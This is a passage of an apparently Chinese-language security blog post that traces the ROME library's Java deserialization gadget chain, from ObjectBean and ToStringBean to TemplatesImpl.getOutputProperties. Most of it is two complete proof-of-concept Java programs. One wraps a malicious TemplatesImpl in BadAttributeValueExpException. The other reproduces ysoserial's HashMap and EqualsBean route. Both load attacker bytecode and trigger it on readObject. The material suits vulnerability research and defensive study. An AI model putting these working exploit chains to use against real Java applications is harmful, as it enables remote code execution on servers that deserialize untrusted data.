直接看到执行getOutputProperties的方法
调用了BeanIntrospector.getPropertyDescriptors(_beanClass)获取_beanClass中的所有的getter和setter方法。其中_beanClass是我们在ObjectBean中传入的一个class类型的对象
具体获取getter和setter方法在getPDs的另一个重载了的方法里面
而我们知道TemplatesImpl的getOutputProperties前面是以get开头的满足这个格式,我们可以用ToStringBean.toString调用到TemplatesImpl的getOutputProperties。接着另一个无参的toString调用了这个有参数的toString
获取_obj类名的prefix然后传入有参数的toString方法
然后看到ObjectBean的toString方法,ObjectBean的toStirng调用了成员变量_toStrinBean的toString方法。
再来看一下ObjectBean的构造方法_toStringBean是如何传入的,_toStringBean我们可控.也就是我们找到readObject中有调用到对象的toString方法。熟悉cc链的同学可能会想到BadAttributeValueExpException。
构造一下poc
package test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
public class ROME {
public static void main(String[] args) throws Exception{
//构造恶意TemplatesImpl
TemplatesImpl templates =new TemplatesImpl();
SetFieldValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.Evil.class.getName()).toBytecode()
});
SetFieldValue(templates, "_name", "HelloTemplatesImpl");
SetFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
//构造ObjectBean
ObjectBean objectBean = new ObjectBean(Templates.class, templates);
//构造BadAttributeValueExpException
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("lsf");
//反射将恶意的ObjectBean设置进BadAttributeValueExpException中
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,objectBean);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeObject(badAttributeValueExpException);
byte[] sss = byteArrayOutputStream.toByteArray();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(sss));
ois.readObject();
}
public static void SetFieldValue(Object obj,String methodName,Object targetObject) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(methodName);
field.setAccessible(true);
field.set(obj,targetObject);
}
}
这个可能和ysoserial的利用链不太一样,我自己用BadAttributeValueExpException改造了一下。接着来看ysoserial中的ROME利用链。ysoserial一开始使用了HashMap的readObject调用ObjectBean的hashcode。而ObjectBean的hashCode调用了_equalsBean的beadnHashCode。_equalsBean是一个EqualsBean对象,EqualsBean的beanHashCode调用了_obj.toString方法,_obj为我们ObjectBean传入的object对象。这就连接上了上一个链我们只要将_obj设置成刚刚构造的有恶意TemplatesImpl的ObjectBean即可。
构造poc
package test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;
import javax.xml.transform.Templates;
public class ROME {
public static void main(String[] args) throws Exception{
//构造TemplatesImpl
TemplatesImpl templates =new TemplatesImpl();
SetFieldValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.Evil.class.getName()).toBytecode()
});
SetFieldValue(templates, "_name", "HelloTemplatesImpl");
SetFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
//objectBean1设置了templates,当调用objectBean1.toString即可执行恶意类
ObjectBean objectBean1 = new ObjectBean(Templates.class, templates);
//objectBean2是外层的ObjectBean,当调用到objectBean2.hashcode即可调用到objectBean1.toString
ObjectBean objectBean2 = new ObjectBean(ObjectBean.class, objectBean1);
HashMap hashMap = new HashMap();
hashMap.put(objectBean1,"lsf");
//通过反射设置HashMap中的值
Class nodeC = Class.forName("java.util.HashMap$Node");
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 1);
Array.set(tbl, 0, nodeCons.newInstance(0, objectBean2, objectBean2, null));
Field fieldtable = hashMap.getClass().getDeclaredField("table");
fieldtable.setAccessible(true);
fieldtable.set(hashMap,tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeObject(hashMap);
byte[] sss = byteArrayOutputStream.toByteArray();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(sss));
ois.readObject();
}
public static void SetFieldValue(Object obj,String methodName,Object targetObject) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(methodName);
field.setAccessible(true);
field.set(obj,targetObject);
}
}